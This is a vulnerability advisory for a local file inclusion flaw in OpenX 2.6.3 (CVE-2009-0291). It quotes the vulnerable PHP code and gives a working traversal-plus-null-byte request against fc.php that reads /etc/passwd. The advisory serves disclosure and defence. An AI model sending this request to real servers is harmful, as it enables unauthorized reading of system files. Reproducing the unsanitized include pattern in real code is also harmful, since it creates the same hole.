OpenX 2.6.3 (MAX_type) Local File Inclusion Vulnerability

2009.01.31

Credit: Charlie

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0291

CWE: CWE-22

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<snip>
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
</snip>
If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type,
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see
the /etc/passwd file before you ;)
-Charlie [Elites0ft.com]

References:

http://www.securityfocus.com/bid/33458

http://www.milw0rm.com/exploits/7883

See this note in RAW Version

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OpenX 2.6.3 (MAX_type) Local File Inclusion Vulnerability

References:

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